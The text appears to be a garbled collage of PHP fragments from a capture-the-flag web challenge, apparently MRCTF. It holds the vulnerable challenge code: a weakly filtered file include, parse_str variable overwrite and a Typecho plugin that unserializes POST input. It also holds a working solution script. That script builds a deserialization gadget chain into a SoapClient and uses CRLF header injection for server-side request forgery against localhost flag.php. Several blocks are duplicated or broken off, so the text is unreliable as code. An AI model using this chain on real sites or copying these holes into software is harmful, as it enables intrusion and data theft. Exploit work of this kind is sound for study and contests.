<?php

$page = $_get['page'];

if (isset($page)) {



if (preg_match("/^.+base.+$/",$page)) {#说明过滤了base
?>

<br /><br /><br /><br />
<div style="text-align:center">
    <p class="lead"><?php echo $page; die("</br>not base");?></p>
    <br /><br /><br /><br />

    <?php

    }else{

    ?>
    <br /><br /><br /><br />
    <div style="text-align:center">
        <p class="lead">
            <?php

            if ($page === 'index.php') {
                die('ok');
            }
            include($page);
            die();
            ?>
        </p>
        <br /><br /><br /><br />

        <?php
        }}


    $hashed_key = 'df01c5786c5d7d83211a8f5f22f6bdb8468e23494ad698cb86c02d128473beef765952cdd5504cbe4657a6334f6b4f7b';
    $parsed = parse_url($_server['request_uri']);
    $query = $parsed["query"];
    $parsed_query = parse_str($query);#存在变量覆盖
    if($parsed_query!=null){
        $action = $parsed_query['action'];
    }

    if($action==="auth"){
        $key = $_get["key"];
        $hashed_input = hash('sha384', $key);#使用sha384加密key
        //echo $hashed_input.'\n';
        if($hashed_input!==$hashed_key){#sha384加密以后的key要等于本来的hashed_key
            die("no way to get flag!");
        }

        echo file_get_contents("/flag");
    }
        ?>

</body>

<?php
$hashed_key = 'df01c5786c5d7d83211a8f5f22f6bdb8468e23494ad698cb86c02d128473beef765952cdd5504cbe4657a6334f6b4f7b';
$parsed = parse_url($_SERVER['REQUEST_URI']);
$query = $parsed["query"];
$parsed_query = parse_str($query);
print($hashed_key);

<?php
if(!isset($_SESSION)) session_start();
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
   $_SESSION['flag']= "MRCTF{******}";
}else echo "我扌your problem?\nonly localhost can get flag!";
?>

<?php
class HelloWorld_DB{
    private $flag="MRCTF{this_is_a_fake_flag}";
    private $coincidence;
    function  __wakeup(){
        $db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
    }
}
class HelloWorld_Plugin implements Typecho_Plugin_Interface{
public function action(){
        if(!isset($_SESSION)) session_start();
        if(isset($_REQUEST['admin'])) var_dump($_SESSION);
        if (isset($_POST['C0incid3nc3'])) {
			if(preg_match("/file|assert|eval|[`\'~^?<>$%]+/i",base64_decode($_POST['C0incid3nc3'])) === 0)
				unserialize(base64_decode($_POST['C0incid3nc3']));
			else {
				echo "Not that easy.";
			}
        }
    }
  }
  ?>

public function __construct($adapterName, $prefix = 'typecho_')
   {
       /** 获取适配器名称 */
       $this->_adapterName = $adapterName;

       /** 数据库适配器 */
       $adapterName = 'Typecho_Db_Adapter_' . $adapterName;

       if (!call_user_func(array($adapterName, 'isAvailable'))) {
           throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");//__toString()
       }

       $this->_prefix = $prefix;

       /** 初始化内部变量 */
       $this->_pool = array();
       $this->_connectedPool = array();
       $this->_config = array();

       //实例化适配器对象
       $this->_adapter = new $adapterName();
   }

class Typecho_Db_Query
{
    const KEYWORDS = '*PRIMARY|AND|OR|LIKE|BINARY|BY|DISTINCT|AS|IN|IS|NULL';
    private static $_default = array(
        'action' => NULL,
        'table'  => NULL,
        'fields' => '*',
        'join'   => array(),
        'where'  => NULL,
        'limit'  => NULL,
        'offset' => NULL,
        'order'  => NULL,
        'group'  => NULL,
        'having'  => NULL,
        'rows'   => array(),
    );
    private $_adapter;
    private $_sqlPreBuild;
    private $_prefix;
    private $_params = array();    
    public function __toString()
    {
        switch ($this->_sqlPreBuild['action']) {
            case Typecho_Db::SELECT:
                return $this->_adapter->parseSelect($this->_sqlPreBuild);
            case Typecho_Db::INSERT:
                return 'INSERT INTO '
                . $this->_sqlPreBuild['table']
                . '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')'
                . ' VALUES '
                . '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')'
                . $this->_sqlPreBuild['limit'];
            case Typecho_Db::DELETE:
                return 'DELETE FROM '
                . $this->_sqlPreBuild['table']
                . $this->_sqlPreBuild['where'];
            case Typecho_Db::UPDATE:
                $columns = array();
                if (isset($this->_sqlPreBuild['rows'])) {
                    foreach ($this->_sqlPreBuild['rows'] as $key => $val) {
                        $columns[] = "$key = $val";
                    }
                }

                return 'UPDATE '
                . $this->_sqlPreBuild['table']
                . ' SET ' . implode(' , ', $columns)
                . $this->_sqlPreBuild['where'];
            default:
                return NULL;
        }
    }

<?php

class HelloWorld_DB
{
    private $flag = "MRCTF{this_is_a_fake_flag}";
    private $coincidence;
    function __construct()
    {
        $this->coincidence=array("hello"=>new Typecho_Db_Query());
    }

}
class Typecho_Db_Query
{

    function __construct()
    {

        $this->_adapter = new SoapClient();
        $this->_sqlPreBuild=array("action"=>"SELECT");
        $this->_adapter=new SoapClient;

    }
}

 */
public static function activate($pluginName)
{
    self::$_plugins['activated'][$pluginName] = self::$_tmp;
    self::$_tmp = array();
    Helper::addRoute("page_admin_action","/page_admin","HelloWorld_Plugin",'action');
}

<?php

class HelloWorld_DB
{
    private $flag = "MRCTF{this_is_a_fake_flag}";
    private $coincidence;
    function __construct()
    {
        $this->coincidence=array("hello"=>new Typecho_Db_Query());
    }

}
class Typecho_Db_Query
{
    private $_adapter;
    private $_sqlPreBuild;
    function __construct()
    {
        $target = "http://127.0.0.1/flag.php";
        $post_string = '';
        $headers = array(
            'X-Forwarded-For: 127.0.0.1',
            'Cookie: PHPSESSID=abcd'
        );

        $a = new SoapClient(null,array('location' => $target,
            'user_agent'=>"eki\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,
            'uri'      => "aaab"));
        $this->_adapter = $a;
        $this->_sqlPreBuild=array("action"=>"SELECT");

    }
}
function decorate($str)
{
    $arr = explode(':', $str);
    $newstr = '';
    for ($i = 0; $i < count($arr); $i++) {
        if (preg_match('/00/', $arr[$i])) {
            $arr[$i - 2] = preg_replace('/s/', "S", $arr[$i - 2]);
        }
    }
    $i = 0;
    for (; $i < count($arr) - 1; $i++) {
        $newstr .= $arr[$i];
        $newstr .= ":";
    }
    $newstr .= $arr[$i];
    return $newstr;
}

$a = new HelloWorld_DB();
$a = preg_replace(" /\^\^/", "\r\n", $a);
$urlen = urlencode($a);
$urlen = preg_replace('/%00/', '%5c%30%30', $urlen);
$a = decorate(urldecode($urlen));
echo base64_encode($a);

$target = "http://127.0.0.1/flag.php";
        $post_string = '';
        $headers = array(
            'X-Forwarded-For: 127.0.0.1',
            'Cookie: PHPSESSID=abcd'
        );

        $a = new SoapClient(null,array('location' => $target,
            'user_agent'=>"eki\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,
            'uri'      => "aaab"));
        $this->_adapter = $a;